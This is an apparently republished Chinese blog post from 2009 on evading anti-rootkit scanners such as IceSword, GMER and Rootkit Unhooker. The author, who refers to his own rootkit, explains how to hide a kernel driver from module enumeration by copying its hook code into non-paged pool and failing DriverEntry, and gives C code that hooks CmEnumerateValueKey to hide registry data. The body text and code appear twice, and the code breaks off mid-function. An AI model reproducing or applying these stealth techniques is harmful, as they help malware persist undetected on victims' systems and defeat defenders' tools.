绕过目前主流的现代Anti-rootkit工具
2009-06-18 15:29
429 查看
本文描述了一些方法,可以绕过目前主流的现代Anti-rootkit工具,包括但不限于:Icesword 最新版、Gmer最新版、Rootkit unhooker 最新版、DarkSpy 最新版以及AVG Anti-rootkit最新版等等
目前的anti-rootkit工具中,对于内核模块主要采用如下几种扫描方式:
1.恢复ZwQuerySystemInformation的hook,然后利用功能号SystemModuleInformation进行枚举,例如Icesword。
2.遍历PsLoadModuleList,Driver/Device/Section Object链,或者TypeList链等(总之是找驱动相关对象)进行枚举,例如Rootkit Unhooker,Gmer等。
3.内核镜象暴力搜索,搜索MZ,PE等等标志结合进行判断内存里是否有PE镜象,如rootkit unhooker,rutkowska的modgreper等,通常只能显示为unknow image
4.函数引用,各种routine/hook等,先HOOK一些常用函数,然后当驱动去调用这些函数时,记下其地址,检测时使用,或者是根据各种routine(dispatch routine,IDT,Image Notfiy等)或各种hook(inline hook,iat/eat hook等等),通常只能显示为unknow image或unknow xxx handler等
5.使用系统ImageLoad Notfiy,使用一个BOOT驱动,记录所有模块load的消息,检测时进行分析 如AVG Anti-rootkit等
先说绕过1,2,3,5的办法
很简单,使用诸如ZwSetSystemInformation的函数加载驱动,然后在DriverEntry中分配NonPagedPool的内存,然后将功能代码/函数copy到该内存中,然后进行必要的HOOK,最后返回STATUS_UNSUCCESSFULL.
这样驱动在PsLoadModuleList、各种对象链里就消失了,自然也就不存在于ZwQuerySystemInformation枚举的列表里。需要注意的是,copy到内存中的代码要尽量简单,基本不会生成需要重定位的代码了,但调用系统函数还是要另想办法。我的某个RK里是这样做的,例如A Function用来hook 系统函数B,其中需要调用系统函数C,那么分配一块内存,大小= len(A) + sizeof(ULONG) * 2
在内存的前两个DWORD放OrgB,以及C的地址,后面开始放函数代码,函数中使用call +5 对自身的位置进行定位,找到内存开始的位置,然后得到OrgB和C。当然也可以在COPY入内存前自己用绝对地址定位函数~不过不如这个方法灵活
相关代码:
//hook call CmEnumerateValueKey
void InstallCMRegHook()
{
PVOID _CmEnumerateKeyValueLoc ;
_CmEnumerateKeyValueLoc = FindCmEnumerateValueKey();
//找到 call CmEnumerateValueKey
HookCodeLen = (ULONG)NopFunc8 - (ULONG)NewCmEnumerateValueKey ;
//获得NewCmEnumerateValueKey长度
HookCode3 = ExAllocatePoolWithTag(NonPagedPool ,
HookCodeLen + 4 ,
MEM_TAG_HOOKCODE3);
//分配内存
*(ULONG*)HookCode3 = *(ULONG*)_CmEnumerateKeyValueLoc ;
//原函数地址放入内存
RtlCopyMemory((PVOID)HookCode3 + sizeof(ULONG) , (PVOID)NewCmEnumerateValueKey ,HookCodeLen);
//copy函数代码
DO_SPINLOCK();
*(ULONG*)_CmEnumerateValueKeyLoc = HookCode3 + sizeof(ULONG);
//进行HOOK
EXIT_SPINLOCK();
return ;
}
NTSTATUS NewCmEnumearateValueKey(IN PVOID KeyControlBlock,
IN ULONG Index,
IN KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass,
IN PVOID KeyValueInformation,
IN ULONG KeyLength,
IN PULONG ResultLength
)
{
//下面
目前的anti-rootkit工具中,对于内核模块主要采用如下几种扫描方式:
1.恢复ZwQuerySystemInformation的hook,然后利用功能号SystemModuleInformation进行枚举,例如Icesword。
2.遍历PsLoadModuleList,Driver/Device/Section Object链,或者TypeList链等(总之是找驱动相关对象)进行枚举,例如Rootkit Unhooker,Gmer等。
3.内核镜象暴力搜索,搜索MZ,PE等等标志结合进行判断内存里是否有PE镜象,如rootkit unhooker,rutkowska的modgreper等,通常只能显示为unknow image
4.函数引用,各种routine/hook等,先HOOK一些常用函数,然后当驱动去调用这些函数时,记下其地址,检测时使用,或者是根据各种routine(dispatch routine,IDT,Image Notfiy等)或各种hook(inline hook,iat/eat hook等等),通常只能显示为unknow image或unknow xxx handler等
5.使用系统ImageLoad Notfiy,使用一个BOOT驱动,记录所有模块load的消息,检测时进行分析 如AVG Anti-rootkit等
先说绕过1,2,3,5的办法
很简单,使用诸如ZwSetSystemInformation的函数加载驱动,然后在DriverEntry中分配NonPagedPool的内存,然后将功能代码/函数copy到该内存中,然后进行必要的HOOK,最后返回STATUS_UNSUCCESSFULL.
这样驱动在PsLoadModuleList、各种对象链里就消失了,自然也就不存在于ZwQuerySystemInformation枚举的列表里。需要注意的是,copy到内存中的代码要尽量简单,基本不会生成需要重定位的代码了,但调用系统函数还是要另想办法。我的某个RK里是这样做的,例如A Function用来hook 系统函数B,其中需要调用系统函数C,那么分配一块内存,大小= len(A) + sizeof(ULONG) * 2
在内存的前两个DWORD放OrgB,以及C的地址,后面开始放函数代码,函数中使用call +5 对自身的位置进行定位,找到内存开始的位置,然后得到OrgB和C。当然也可以在COPY入内存前自己用绝对地址定位函数~不过不如这个方法灵活
相关代码:
//hook call CmEnumerateValueKey
void InstallCMRegHook()
{
PVOID _CmEnumerateKeyValueLoc ;
_CmEnumerateKeyValueLoc = FindCmEnumerateValueKey();
//找到 call CmEnumerateValueKey
HookCodeLen = (ULONG)NopFunc8 - (ULONG)NewCmEnumerateValueKey ;
//获得NewCmEnumerateValueKey长度
HookCode3 = ExAllocatePoolWithTag(NonPagedPool ,
HookCodeLen + 4 ,
MEM_TAG_HOOKCODE3);
//分配内存
*(ULONG*)HookCode3 = *(ULONG*)_CmEnumerateKeyValueLoc ;
//原函数地址放入内存
RtlCopyMemory((PVOID)HookCode3 + sizeof(ULONG) , (PVOID)NewCmEnumerateValueKey ,HookCodeLen);
//copy函数代码
DO_SPINLOCK();
*(ULONG*)_CmEnumerateValueKeyLoc = HookCode3 + sizeof(ULONG);
//进行HOOK
EXIT_SPINLOCK();
return ;
}
NTSTATUS NewCmEnumearateValueKey(IN PVOID KeyControlBlock,
IN ULONG Index,
IN KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass,
IN PVOID KeyValueInformation,
IN ULONG KeyLength,
IN PULONG ResultLength
)
{
//下面
相关文章推荐
- 绕过现代Anti-Rookit工具的内核模块扫描
- 绕过现代Anti-Rookit工具的内核模块扫描
- 著名Anti-Rootkit工具DarkSpy被趋势科技收购
- 另一种sysenter hook方法(绕过绝大多数的rootkit检测工具的检测)
- 打算利用过年时间写一个Anti-Rootkit工具
- 目前主流的性能自动化测试工具简介
- 波兰antirootkit安全辅助工具 gmer 1.0.15.15627更新
- Windows 底层驱动级 Anti-Rootkit 工具 ScDetective 源代码
- 目前主流的测试工具主要有以下5类:
- 另一种sysenter hook方法(绕过绝大多数的rootkit检测工具的检测)
- 另一种sysenter hook方法(绕过绝大多数的rootkit检测工具的检测)
- 目前国际三大主流ETL工具选型分析
- 市场主流报表工具大观
- MobaXterm,目前体验最好的xshell工具
- dSploitzANTI渗透教程之启动zANTI工具
- ETL三大主流工具
- 【玩转cocos2d-x之十二】plist解析工具:Anti_TexturePacker
- 目前最好用的“点击复制”功能,兼容主流浏览器
- 目前使用的PIC的开发环境和开发工具以及涉及的PIC MCU
- 钢笔工具使用目前的最高水平